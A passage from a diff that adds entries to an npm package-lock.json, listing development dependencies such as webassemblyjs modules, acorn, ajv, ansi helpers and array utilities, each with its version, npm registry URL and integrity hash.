"sha512-m7a0FhE67DQXgouf1tbN5XQcdWoNgaAuoULHIfGFIEVKA6tu/edls6XnIlkmS6FrXAquJRPni3ZZKjw6FSPjPQ==", + "dev": true, + "peer": true, + "requires": { + "@xtuc/long": "4.2.2" + } + }, + "@webassemblyjs/utf8": { + "version": "1.11.6", + "resolved": "https://registry.npmjs.org/@webassemblyjs/utf8/-/utf8-1.11.6.tgz", + "integrity": "sha512-vtXf2wTQ3+up9Zsg8sa2yWiQpzSsMyXj0qViVP6xKGCUT8p8YJ6HqI7l5eCnWx1T/FYdsv07HQs2wTFbbof/RA==", + "dev": true, + "peer": true + }, + "@webassemblyjs/wasm-edit": { + "version": "1.11.6", + "resolved": "https://registry.npmjs.org/@webassemblyjs/wasm-edit/-/wasm-edit-1.11.6.tgz", + "integrity": "sha512-Ybn2I6fnfIGuCR+Faaz7YcvtBKxvoLV3Lebn1tM4o/IAJzmi9AWYIPWpyBfU8cC+JxAO57bk4+zdsTjJR+VTOw==", + "dev": true, + "peer": true, + "requires": { + "@webassemblyjs/ast": "1.11.6", + "@webassemblyjs/helper-buffer": "1.11.6", + "@webassemblyjs/helper-wasm-bytecode": "1.11.6", + "@webassemblyjs/helper-wasm-section": "1.11.6", + "@webassemblyjs/wasm-gen": "1.11.6", + "@webassemblyjs/wasm-opt": "1.11.6", + "@webassemblyjs/wasm-parser": "1.11.6", + "@webassemblyjs/wast-printer": "1.11.6" + } + }, + "@webassemblyjs/wasm-gen": { + "version": "1.11.6", + "resolved": "https://registry.npmjs.org/@webassemblyjs/wasm-gen/-/wasm-gen-1.11.6.tgz", + "integrity": "sha512-3XOqkZP/y6B4F0PBAXvI1/bky7GryoogUtfwExeP/v7Nzwo1QLcq5oQmpKlftZLbT+ERUOAZVQjuNVak6UXjPA==", + "dev": true, + "peer": true, + "requires": { + "@webassemblyjs/ast": "1.11.6", + "@webassemblyjs/helper-wasm-bytecode": "1.11.6", + "@webassemblyjs/ieee754": "1.11.6", + "@webassemblyjs/leb128": "1.11.6", + "@webassemblyjs/utf8": "1.11.6" + } + }, + "@webassemblyjs/wasm-opt": { + "version": "1.11.6", + "resolved": "https://registry.npmjs.org/@webassemblyjs/wasm-opt/-/wasm-opt-1.11.6.tgz", + "integrity": "sha512-cOrKuLRE7PCe6AsOVl7WasYf3wbSo4CeOk6PkrjS7g57MFfVUF9u6ysQBBODX0LdgSvQqRiGz3CXvIDKcPNy4g==", + "dev": true, + "peer": true, + "requires": { + "@webassemblyjs/ast": "1.11.6", + "@webassemblyjs/helper-buffer": "1.11.6", + "@webassemblyjs/wasm-gen": "1.11.6", + "@webassemblyjs/wasm-parser": "1.11.6" + } + }, + "@webassemblyjs/wasm-parser": { + "version": "1.11.6", + "resolved": "https://registry.npmjs.org/@webassemblyjs/wasm-parser/-/wasm-parser-1.11.6.tgz", + "integrity": "sha512-6ZwPeGzMJM3Dqp3hCsLgESxBGtT/OeCvCZ4TA1JUPYgmhAx38tTPR9JaKy0S5H3evQpO/h2uWs2j6Yc/fjkpTQ==", + "dev": true, + "peer": true, + "requires": { + "@webassemblyjs/ast": "1.11.6", + "@webassemblyjs/helper-api-error": "1.11.6", + "@webassemblyjs/helper-wasm-bytecode": "1.11.6", + "@webassemblyjs/ieee754": "1.11.6", + "@webassemblyjs/leb128": "1.11.6", + "@webassemblyjs/utf8": "1.11.6" + } + }, + "@webassemblyjs/wast-printer": { + "version": "1.11.6", + "resolved": "https://registry.npmjs.org/@webassemblyjs/wast-printer/-/wast-printer-1.11.6.tgz", + "integrity": "sha512-JM7AhRcE+yW2GWYaKeHL5vt4xqee5N2WcezptmgyhNS+ScggqcT1OtXykhAb13Sn5Yas0j2uv9tHgrjwvzAP4A==", + "dev": true, + "peer": true, + "requires": { + "@webassemblyjs/ast": "1.11.6", + "@xtuc/long": "4.2.2" + } + }, + "@xtuc/ieee754": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/@xtuc/ieee754/-/ieee754-1.2.0.tgz", + "integrity": "sha512-DX8nKgqcGwsc0eJSqYt5lwP4DH5FlHnmuWWBRy7X0NcaGR0ZtuyeESgMwTYVEtxmsNGY+qit4QYT/MIYTOTPeA==", + "dev": true, + "peer": true + }, + "@xtuc/long": { + "version": "4.2.2", + "resolved": "https://registry.npmjs.org/@xtuc/long/-/long-4.2.2.tgz", + "integrity": "sha512-NuHqBY1PB/D8xU6s/thBgOAiAP7HOYDQ32+BFZILJ8ivkUkAHQnWfn6WhL79Owj1qmUnoN/YPhktdIoucipkAQ==", + "dev": true, + "peer": true + }, + "abab": { + "version": "2.0.6", + "resolved": "https://registry.npmjs.org/abab/-/abab-2.0.6.tgz", + "integrity": "sha512-j2afSsaIENvHZN2B8GOpF566vZ5WVk5opAiMTvWgaQT8DkbOqsTfvNAvHoRGU2zzP8cPoqys+xHTRDWW8L+/BA==", + "dev": true + }, + "acorn": { + "version": "8.10.0", + "resolved": "https://registry.npmjs.org/acorn/-/acorn-8.10.0.tgz", + "integrity": "sha512-F0SAmZ8iUtS//m8DmCTA0jlh6TDKkHQyK6xc6V4KDTyZKA9dnvX9/3sRTVQrWm79glUAZbnmmNcdYwUIHWVybw==", + "dev": true + }, + "acorn-globals": { + "version": "6.0.0", + "resolved": "https://registry.npmjs.org/acorn-globals/-/acorn-globals-6.0.0.tgz", + "integrity": "sha512-ZQl7LOWaF5ePqqcX4hLuv/bLXYQNfNWw2c0/yX/TsPRKamzHcTGQnlCjHT3TsmkOUVEPS3crCxiPfdzE/Trlhg==", + "dev": true, + "requires": { + "acorn": "^7.1.1", + "acorn-walk": "^7.1.1" + }, + "dependencies": { + "acorn": { + "version": "7.4.1", + "resolved": "https://registry.npmjs.org/acorn/-/acorn-7.4.1.tgz", + "integrity": "sha512-nQyp0o1/mNdbTO1PO6kHkwSrmgZ0MT/jCCpNiwbUjGoRN4dlBhqJtoQuCnEOKzgTVwg0ZWiCoQy6SxMebQVh8A==", + "dev": true + } + } + }, + "acorn-import-assertions": { + "version": "1.9.0", + "resolved": "https://registry.npmjs.org/acorn-import-assertions/-/acorn-import-assertions-1.9.0.tgz", + "integrity": "sha512-cmMwop9x+8KFhxvKrKfPYmN6/pKTYYHBqLa0DfvVZcKMJWNyWLnaqND7dx/qn66R7ewM1UX5XMaDVP5wlVTaVA==", + "dev": true, + "peer": true, + "requires": {} + }, + "acorn-jsx": { + "version": "5.3.2", + "resolved": "https://registry.npmjs.org/acorn-jsx/-/acorn-jsx-5.3.2.tgz", + "integrity": "sha512-rq9s+JNhf0IChjtDXxllJ7g41oZk5SlXtp0LHwyA5cejwn7vKmKp4pPri6YEePv2PU65sAsegbXtIinmDFDXgQ==", + "dev": true, + "requires": {} + }, + "acorn-walk": { + "version": "7.2.0", + "resolved": "https://registry.npmjs.org/acorn-walk/-/acorn-walk-7.2.0.tgz", + "integrity": "sha512-OPdCF6GsMIP+Az+aWfAAOEt2/+iVDKE7oy6lJ098aoe59oAmK76qV6Gw60SbZ8jHuG2wH058GF4pLFbYamYrVA==", + "dev": true + }, + "agent-base": { + "version": "6.0.2", + "resolved": "https://registry.npmjs.org/agent-base/-/agent-base-6.0.2.tgz", + "integrity": "sha512-RZNwNclF7+MS/8bDg70amg32dyeZGZxiDuQmZxKLAlQjr3jGyLx+4Kkk58UO7D2QdgFIQCovuSuZESne6RG6XQ==", + "dev": true, + "requires": { + "debug": "4" + } + }, + "aggregate-error": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/aggregate-error/-/aggregate-error-3.1.0.tgz", + "integrity": "sha512-4I7Td01quW/RpocfNayFdFVk1qSuoh0E7JrbRJ16nH01HhKFQ88INq9Sd+nd72zqRySlr9BmDA8xlEJ6vJMrYA==", + "dev": true, + "requires": { + "clean-stack": "^2.0.0", + "indent-string": "^4.0.0" + } + }, + "ajv": { + "version": "6.12.6", + "resolved": "https://registry.npmjs.org/ajv/-/ajv-6.12.6.tgz", + "integrity": "sha512-j3fVLgvTo527anyYyJOGTYJbG+vnnQYvE0m5mmkc1TK+nxAppkCLMIL0aZ4dblVCNoGShhm+kzE4ZUykBoMg4g==", + "dev": true, + "requires": { + "fast-deep-equal": "^3.1.1", + "fast-json-stable-stringify": "^2.0.0", + "json-schema-traverse": "^0.4.1", + "uri-js": "^4.2.2" + } + }, + "ajv-keywords": { + "version": "3.5.2", + "resolved": "https://registry.npmjs.org/ajv-keywords/-/ajv-keywords-3.5.2.tgz", + "integrity": "sha512-5p6WTN0DdTGVQk6VjcEju19IgaHudalcfabD7yhDGeA6bcQnmL+CpveLJq/3hvfwd1aof6L386Ougkx6RfyMIQ==", + "dev": true, + "peer": true, + "requires": {} + }, + "ansi-colors": { + "version": "4.1.3", + "resolved": "https://registry.npmjs.org/ansi-colors/-/ansi-colors-4.1.3.tgz", + "integrity": "sha512-/6w/C21Pm1A7aZitlI5Ni/2J6FFQN8i1Cvz3kHABAAbw93v/NlvKdVOqz7CCWz/3iv/JplRSEEZ83XION15ovw==", + "dev": true + }, + "ansi-cyan": { + "version": "0.1.1", + "resolved": "https://registry.npmjs.org/ansi-cyan/-/ansi-cyan-0.1.1.tgz", + "integrity": "sha512-eCjan3AVo/SxZ0/MyIYRtkpxIu/H3xZN7URr1vXVrISxeyz8fUFz0FJziamK4sS8I+t35y4rHg1b2PklyBe/7A==", + "dev": true, + "requires": { + "ansi-wrap": "0.1.0" + } + }, + "ansi-gray": { + "version": "0.1.1", + "resolved": "https://registry.npmjs.org/ansi-gray/-/ansi-gray-0.1.1.tgz", + "integrity": "sha512-HrgGIZUl8h2EHuZaU9hTR/cU5nhKxpVE1V6kdGsQ8e4zirElJ5fvtfc8N7Q1oq1aatO275i8pUFUCpNWCAnVWw==", + "dev": true, + "requires": { + "ansi-wrap": "0.1.0" + } + }, + "ansi-red": { + "version": "0.1.1", + "resolved": "https://registry.npmjs.org/ansi-red/-/ansi-red-0.1.1.tgz", + "integrity": "sha512-ewaIr5y+9CUTGFwZfpECUbFlGcC0GCw1oqR9RI6h1gQCd9Aj2GxSckCnPsVJnmfMZbwFYE+leZGASgkWl06Jow==", + "dev": true, + "requires": { + "ansi-wrap": "0.1.0" + } + }, + "ansi-regex": { + "version": "5.0.1", + "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-5.0.1.tgz", + "integrity": "sha512-quJQXlTSUGL2LH9SUXo8VwsY4soanhgo6LNSm84E1LBcE8s3O0wpdiRzyR9z/ZZJMlMWv37qOOb9pdJlMUEKFQ==", + "dev": true + }, + "ansi-styles": { + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", + "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", + "dev": true, + "requires": { + "color-convert": "^2.0.1" + } + }, + "ansi-wrap": { + "version": "0.1.0", + "resolved": "https://registry.npmjs.org/ansi-wrap/-/ansi-wrap-0.1.0.tgz", + "integrity": "sha512-ZyznvL8k/FZeQHr2T6LzcJ/+vBApDnMNZvfVFy3At0knswWd6rJ3/0Hhmpu8oqa6C92npmozs890sX9Dl6q+Qw==", + "dev": true + }, + "any-promise": { + "version": "1.3.0", + "resolved": "https://registry.npmjs.org/any-promise/-/any-promise-1.3.0.tgz", + "integrity": "sha512-7UvmKalWRt1wgjL1RrGxoSJW/0QZFIegpeGvZG9kjp8vrRu55XTHbwnqq2GpXm9uLbcuhxm3IqX9OB4MZR1b2A==", + "dev": true + }, + "anymatch": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/anymatch/-/anymatch-2.0.0.tgz", + "integrity": "sha512-5teOsQWABXHHBFP9y3skS5P3d/WfWXpv3FUpy+LorMrNYaT9pI4oLMQX7jzQ2KklNpGpWHzdCXTDT2Y3XGlZBw==", + "dev": true, + "requires": { + "micromatch": "^3.1.4", + "normalize-path": "^2.1.1" + }, + "dependencies": { + "define-property": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/define-property/-/define-property-2.0.2.tgz", + "integrity": "sha512-jwK2UV4cnPpbcG7+VRARKTZPUWowwXA8bzH5NP6ud0oeAxyYPuGZUAC7hMugpCdz4BeSZl2Dl9k66CHJ/46ZYQ==", + "dev": true, + "requires": { + "is-descriptor": "^1.0.2", + "isobject": "^3.0.1" + } + }, + "extend-shallow": { + "version": "3.0.2", + "resolved": "https://registry.npmjs.org/extend-shallow/-/extend-shallow-3.0.2.tgz", + "integrity": "sha512-BwY5b5Ql4+qZoefgMj2NUmx+tehVTH/Kf4k1ZEtOHNFcm2wSxMRo992l6X3TIgni2eZVTZ85xMOjF31fwZAj6Q==", + "dev": true, + "requires": { + "assign-symbols": "^1.0.0", + "is-extendable": "^1.0.1" + } + }, + "is-accessor-descriptor": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/is-accessor-descriptor/-/is-accessor-descriptor-1.0.0.tgz", + "integrity": "sha512-m5hnHTkcVsPfqx3AKlyttIPb7J+XykHvJP2B9bZDjlhLIoEq4XoK64Vg7boZlVWYK6LUY94dYPEE7Lh0ZkZKcQ==", + "dev": true, + "requires": { + "kind-of": "^6.0.0" + } + }, + "is-data-descriptor": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/is-data-descriptor/-/is-data-descriptor-1.0.0.tgz", + "integrity": "sha512-jbRXy1FmtAoCjQkVmIVYwuuqDFUbaOeDjmed1tOGPrsMhtJA4rD9tkgA0F1qJ3gRFRXcHYVkdeaP50Q5rE/jLQ==", + "dev": true, + "requires": { + "kind-of": "^6.0.0" + } + }, + "is-descriptor": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/is-descriptor/-/is-descriptor-1.0.2.tgz", + "integrity": "sha512-2eis5WqQGV7peooDyLmNEPUrps9+SXX5c9pL3xEB+4e9HnGuDa7mB7kHxHw4CbqS9k1T2hOH3miL8n8WtiYVtg==", + "dev": true, + "requires": { + "is-accessor-descriptor": "^1.0.0", + "is-data-descriptor": "^1.0.0", + "kind-of": "^6.0.2" + } + }, + "is-extendable": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/is-extendable/-/is-extendable-1.0.1.tgz", + "integrity": "sha512-arnXMxT1hhoKo9k1LZdmlNyJdDDfy2v0fXjFlmok4+i8ul/6WlbVge9bhM74OpNPQPMGUToDtz+KXa1PneJxOA==", + "dev": true, + "requires": { + "is-plain-object": "^2.0.4" + } + }, + "micromatch": { + "version": "3.1.10", + "resolved": "https://registry.npmjs.org/micromatch/-/micromatch-3.1.10.tgz", + "integrity": "sha512-MWikgl9n9M3w+bpsY3He8L+w9eF9338xRl8IAO5viDizwSzziFEyUzo2xrrloB64ADbTf8uA8vRqqttDTOmccg==", + "dev": true, + "requires": { + "arr-diff": "^4.0.0", + "array-unique": "^0.3.2", + "braces": "^2.3.1", + "define-property": "^2.0.2", + "extend-shallow": "^3.0.2", + "extglob": "^2.0.4", + "fragment-cache": "^0.2.1", + "kind-of": "^6.0.2", + "nanomatch": "^1.2.9", + "object.pick": "^1.3.0", + "regex-not": "^1.0.0", + "snapdragon": "^0.8.1", + "to-regex": "^3.0.2" + } + }, + "normalize-path": { + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/normalize-path/-/normalize-path-2.1.1.tgz", + "integrity": "sha512-3pKJwH184Xo/lnH6oyP1q2pMd7HcypqqmRs91/6/i2CGtWwIKGCkOOMTm/zXbgTEWHw1uNpNi/igc3ePOYHb6w==", + "dev": true, + "requires": { + "remove-trailing-separator": "^1.0.1" + } + } + } + }, + "append-buffer": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/append-buffer/-/append-buffer-1.0.2.tgz", + "integrity": "sha512-WLbYiXzD3y/ATLZFufV/rZvWdZOs+Z/+5v1rBZ463Jn398pa6kcde27cvozYnBoxXblGZTFfoPpsaEw0orU5BA==", + "dev": true, + "requires": { + "buffer-equal": "^1.0.0" + } + }, + "append-transform": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/append-transform/-/append-transform-2.0.0.tgz", + "integrity": "sha512-7yeyCEurROLQJFv5Xj4lEGTy0borxepjFv1g22oAdqFu//SrAlDl1O1Nxx15SH1RoliUml6p8dwJW9jvZughhg==", + "dev": true, + "requires": { + "default-require-extensions": "^3.0.0" + } + }, + "archy": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/archy/-/archy-1.0.0.tgz", + "integrity": "sha512-Xg+9RwCg/0p32teKdGMPTPnVXKD0w3DfHnFTficozsAgsvq2XenPJq/MYpzzQ/v8zrOyJn6Ds39VA4JIDwFfqw==", + "dev": true + }, + "arg": { + "version": "5.0.2", + "resolved": "https://registry.npmjs.org/arg/-/arg-5.0.2.tgz", + "integrity": "sha512-PYjyFOLKQ9y57JvQ6QLo8dAgNqswh8M1RMJYdQduT6xbWSgK36P/Z/v+p888pM69jMMfS8Xd8F6I1kQ/I9HUGg==", + "dev": true + }, + "argparse": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/argparse/-/argparse-2.0.1.tgz", + "integrity": "sha512-8+9WqebbFzpX9OR+Wa6O29asIogeRMzcGtAINdpMHHyAg10f05aSFVBbcEqGf/PXw1EjAZ+q2/bEBg3DvurK3Q==", + "dev": true + }, + "arr-diff": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/arr-diff/-/arr-diff-4.0.0.tgz", + "integrity": "sha512-YVIQ82gZPGBebQV/a8dar4AitzCQs0jjXwMPZllpXMaGjXPYVUawSxQrRsjhjupyVxEvbHgUmIhKVlND+j02kA==", + "dev": true + }, + "arr-filter": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/arr-filter/-/arr-filter-1.1.2.tgz", + "integrity": "sha512-A2BETWCqhsecSvCkWAeVBFLH6sXEUGASuzkpjL3GR1SlL/PWL6M3J8EAAld2Uubmh39tvkJTqC9LeLHCUKmFXA==", + "dev": true, + "requires": { + "make-iterator": "^1.0.0" + } + }, + "arr-flatten": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/arr-flatten/-/arr-flatten-1.1.0.tgz", + "integrity": "sha512-L3hKV5R/p5o81R7O02IGnwpDmkp6E982XhtbuwSe3O4qOtMMMtodicASA1Cny2U+aCXcNpml+m4dPsvsJ3jatg==", + "dev": true + }, + "arr-map": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/arr-map/-/arr-map-2.0.2.tgz", + "integrity": "sha512-tVqVTHt+Q5Xb09qRkbu+DidW1yYzz5izWS2Xm2yFm7qJnmUfz4HPzNxbHkdRJbz2lrqI7S+z17xNYdFcBBO8Hw==", + "dev": true, + "requires": { + "make-iterator": "^1.0.0" + } + }, + "arr-union": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/arr-union/-/arr-union-3.1.0.tgz", + "integrity": "sha512-sKpyeERZ02v1FeCZT8lrfJq5u6goHCtpTAzPwJYe7c8SPFOboNjNg1vz2L4VTn9T4PQxEx13TbXLmYUcS6Ug7Q==", + "dev": true + }, + "array-each": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/array-each/-/array-each-1.0.1.tgz", + "integrity": "sha512-zHjL5SZa68hkKHBFBK6DJCTtr9sfTCPCaph/L7tMSLcTFgy+zX7E+6q5UArbtOtMBCtxdICpfTCspRse+ywyXA==", + "dev": true + }, + "array-from": { + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/array-from/-/array-from-2.1.1.tgz", + "integrity": "sha512-GQTc6Uupx1FCavi5mPzBvVT7nEOeWMmUA9P95wpfpW1XwMSKs+KaymD5C2Up7KAUKg/mYwbsUYzdZWcoajlNZg==", + "dev": true + }, + "array-initial": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/array-initial/-/array-initial-1.1.0.tgz", + "integrity": "sha512-BC4Yl89vneCYfpLrs5JU2aAu9/a+xWbeKhvISg9PT7eWFB9UlRvI+rKEtk6mgxWr3dSkk9gQ8hCrdqt06NXPdw==", + "dev": true, + "requires": { + "array-slice": "^1.0.0", + "is-number": "^4.0.0" + }, + "dependencies": { + "is-number": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/is-number/-/is-number-4.0.0.tgz", + "integrity": "sha512-rSklcAIlf1OmFdyAqbnWTLVelsQ58uvZ66S/ZyawjWqIviTWCjg2PzVGw8WUA+nNuPTqb4wgA+NszrJ+08LlgQ==", + "dev": true + } + } + }, + "array-last": { + "version": "1.3.0", + "resolved": "https://registry.npmjs.org/array-last/-/array-last-1.3.0.tgz", + "integrity": "sha512-eOCut5rXlI6aCOS7Z7kCplKRKyiFQ6dHFBem4PwlwKeNFk2/XxTrhRh5T9PyaEWGy/NHTZWbY+nsZlNFJu9rYg==", + "dev": true, + "requires": { + "is-number": "^4.0.0" + }, + "dependencies": { + "is-number": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/is-number/-/is-number-4.0.0.tgz", + "integrity": "sha512-rSklcAIlf1OmFdyAqbnWTLVelsQ58uvZ66S/ZyawjWqIviTWCjg2PzVGw8WUA+nNuPTqb4wgA+NszrJ+08LlgQ==", + "dev": true + } + } + }, + "array-slice": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/array-slice/-/array-slice-1.1.0.tgz", + "integrity": "sha512-B1qMD3RBP7O8o0H2KbrXDyB0IccejMF15+87Lvlor12ONPRHP6gTjXMNkt/d3ZuOGbAe66hFmaCfECI24Ufp6w==", + "dev": true + }, + "array-sort": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/array-sort/-/array-sort-1.0.0.tgz", + "integrity": "sha512-ihLeJkonmdiAsD7vpgN3CRcx2J2S0TiYW+IS/5zHBI7mKUq3ySvBdzzBfD236ubDBQFiiyG3SWCPc+msQ9KoYg==", + "dev": true, + "requires": { + "default-compare": "^1.0.0", + "get-value": "^2.0.6", + "kind-of": "^5.0.2" + }, + "dependencies": { + "kind-of": { + "version": "5.1.0", + "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-5.1.0.tgz", + "integrity": "sha512-NGEErnH6F2vUuXDh+OlbcKW7/wOcfdRHaZ7VWtqCztfHri/++YKmP51OdWeGPuqCOba6kk2OTe5d02VmTB80Pw==", + "dev": true + } + } + }, + "array-union": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/array-union/-/array-union-2.1.0.tgz", + "integrity": "sha512-HGyxoOTYUyCM6stUe6EJgnd4EoewAI7zMdfqO+kGjnlZmBDz/cR5pf8r/cR4Wq60sL/p0IkcjUEEPwS3GFrIyw==", + "dev": true + }, + "array-unique": { + "version": "0.3.2", + "resolved": "https://registry.npmjs.org/array-unique/-/array-unique-0.3.2.tgz", + "integrity": "sha512-SleRWjh9JUud2wH1hPs9rZBZ33H6T9HOiL0uwGnGx9FpE6wKGyfWugmbkEOIs6qWrZhg0LWeLziLrEwQJhs5mQ==", + "dev": true + }, + "assertion-error": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/assertion-error/-/assertion-error-1.1.0.tgz", + "integrity": "sha512-jgsaNduz+ndvGyFt3uSuWqvy4lCnIJiovtouQN5JZHOKCS2QuhEdbcQHFhVksz2N2U9hXJo8odG7ETyWlEeuDw==", + "dev": true + }, + "assign-symbols": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/assign-symbols/-/assign-symbols-1.0.0.tgz", + "integrity": "sha512-Q+JC7Whu8HhmTdBph/Tq59IoRtoy6KAm5zzPv00WdujX82lbAL8K7WVjne7vdCsAmbF4AYaDOPyO3k0kl8qIrw==", + "dev": true + }, + "async-done": { + "version": "1.3.2", + "resolved": "https://registry.npmjs.org/async-done/-/async-done-1.3.2.tgz", + "integrity": "sha512-uYkTP8dw2og1tu1nmza1n1CMW0qb8gWWlwqMmLb7MhBVs4BXrFziT6HXUd+/RlRA/i4H9AkofYloUbs1fwMqlw==", + "dev": true, + "requires": { + "end-of-stream": "^1.1.0", + "once": "^1.3.2", + "process-nextick-args": "^2.0.0", + "stream-exhaust": "^1.0.1" + } + }, + "async-each": { + "version": "1.0.6", + "resolved": "https://registry.npmjs.org/async-each/-/async-each-1.0.6.tgz", + "integrity": "sha512-c646jH1avxr+aVpndVMeAfYw7wAa6idufrlN3LPA4PmKS0QEGp6PIC9nwz0WQkkvBGAMEki3pFdtxaF39J9vvg==", + "dev": true + }, + "async-settle": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/async-settle/-/async-settle-1.0.0.tgz", + "integrity": "sha512-VPXfB4Vk49z1LHHodrEQ6Xf7W4gg1w0dAPROHngx7qgDjqmIQ+fXmwgGXTW/ITLai0YLSvWepJOP9EVpMnEAcw==", + "dev": true, + "requires": { + "async-done": "^1.2.2" + } + }, + "asynckit": { + "version": "0.4.0", + "resolved": "https://registry.npmjs.org/asynckit/-/asynckit-0.4.0.tgz", + "integrity": "sha512-Oei9OH4tRh0YqU3GxhX79dM/mwVgvbZJaSNaRk+bshkj0S5cfHcgYakreBjrHwatXKbz+IoIdYLxrKim2MjW0Q==", + "dev": true + }, + "atob": { + "version": "2.1.2", + "resolved": "https://registry.npmjs.org/atob/-/atob-2.1.2.tgz", + "integrity": "sha512-Wm6ukoaOGJi/73p/cl2GvLjTI5JM1k/O14isD73YML8StrH/7/lRFgmg8nICZgD3bZZvjwCGxtMOD3wWNAu8cg==", + "dev": true + }, + "autoprefixer": { + "version": "10.4.14", + "resolved": "https://registry.npmjs.org/autoprefixer/-/autoprefixer-10.4.14.tgz", + "integrity": "sha512-FQzyfOsTlwVzjHxKEqRIAdJx9niO6VCBCoEwax/VLSoQF29ggECcPuBqUMZ+u8jCZOPSy8b8/8KnuFbp0SaFZQ==", + "dev": true, + "requires": { + "browserslist": "^4.21.5", + "caniuse-lite": "^1.0.30001464", + "fraction.js": "^4.2.0", + "normalize-range": "^0.1.2", + "picocolors": "^1.0.0", + "postcss-value-parser": "^4.2.0" + } + }, + "babel-plugin-polyfill-corejs2": { + "version": "0.2.3", + "resolved": "https://registry.npmjs.org/babel-plugin-polyfill-corejs2/-/babel-plugin-polyfill-corejs2-0.2.3.tgz", + "integrity": "sha512-NDZ0auNRzmAfE1oDDPW2JhzIMXUk+FFe2ICejmt5T4ocKgiQx3e0VCRx9NCAidcMtL2RUZaWtXnmjTCkx0tcbA==", + "dev": true, + "requires": { + "@babel/compat-data": "^7.13.11", + "@babel/helper-define-polyfill-provider": "^0.2.4", + "semver": "^6.1.1" + } + }, + "babel-plugin-polyfill-corejs3": { + "version": "0.2.5", + "resolved": "https://registry.npmjs.org/babel-plugin-polyfill-corejs3/-/babel-plugin-polyfill-corejs3-0.2.5.tgz", + "integrity": "sha512-ninF5MQNwAX9Z7c9ED+H2pGt1mXdP4TqzlHKyPIYmJIYz0N+++uwdM7RnJukklhzJ54Q84vA4ZJkgs7lu5vqcw==", + "dev": true, + "requires": { + "@babel/helper-define-polyfill-provider": "^0.2.2", + "core-js-compat": "^3.16.2" + } + }, + "babel-plugin-polyfill-regenerator": { + "version": "0.2.3", + "resolved": "https://registry.npmjs.org/babel-plugin-polyfill-regenerator/-/babel-plugin-polyfill-regenerator-0.2.3.tgz", + "integrity": "sha512-JVE78oRZPKFIeUqFGrSORNzQnrDwZR16oiWeGM8ZyjBn2XAT5OjP+wXx5ESuo33nUsFUEJYjtklnsKbxW5L+7g==", + "dev": true, + "requires": { + "@babel/helper-define-polyfill-provider": "^0.2.4" + } + }, + "bach": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/bach/-/bach-1.2.0.tgz", + "integrity": "sha512-bZOOfCb3gXBXbTFXq3OZtGR88LwGeJvzu6szttaIzymOTS4ZttBNOWSv7aLZja2EMycKtRYV0Oa8SNKH/zkxvg==", + "dev": true, + "requires": { + "arr-filter": "^1.1.1", + "arr-flatten": "^1.0.1", + "arr-map": "^2.0.0", + "array-each": "^1.0.0", + "array-initial": "^1.0.0", + "array-last": "^1.1.1", + "async-done": "^1.2.2", + "async-settle": "^1.0.0", + "now-and-later": "^2.0.0" + } + }, + "balanced-match": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/balanced-match/-/balanced-match-1.0.2.tgz", + "integrity": "sha512-3oSeUO0TMV67hN1AmbXsK4yaqU7tjiHlbxRDZOpH0KW9+CeX4bRAaX0Anxt0tx2MrpRpWwQaPwIlISEJhYU5Pw==", + "dev": true + }, + "base": { + "version": "0.11.2", + "resolved": "https://registry.npmjs.org/base/-/base-0.11.2.tgz", + "integrity": "sha512-5T6P4xPgpp0YDFvSWwEZ4NoE3aM4QBQXDzmVbraCkFj8zHM+mba8SyqB5DbZWyR7mYHo6Y7BdQo3MoA4m0TeQg==", + "dev": true, + "requires": { + "cache-base": "^1.0.1", + "class-utils": "^0.3.5", + "component-emitter": "^1.2.1", + "define-property": "^1.0.0", + "isobject": "^3.0.1", + "mixin-deep": "^1.2.0", + "pascalcase": "^0.1.1" + }, + "dependencies": { + "define-property": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/define-property/-/define-property-1.0.0.tgz", + "integrity": "sha512-cZTYKFWspt9jZsMscWo8sc/5lbPC9Q0N5nBLgb+Yd915iL3udB1uFgS3B8YCx66UVHq018DAVFoee7x+gxggeA==", + "dev": true, + "requires": { + "is-descriptor": "^1.0.0" + } + }, + "is-accessor-descriptor": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/is-accessor-descriptor/-/is-accessor-descriptor-1.0.0.tgz", + "integrity": "sha512-m5hnHTkcVsPfqx3AKlyttIPb7J+XykHvJP2B9bZDjlhLIoEq4XoK64Vg7boZlVWYK6LUY94dYPEE7Lh0ZkZKcQ==", + "dev": true, + "requires": { + "kind-of": "^6.0.0" + } + }, + "is-data-descriptor": { + "version": "1.0.0", + "resolved": 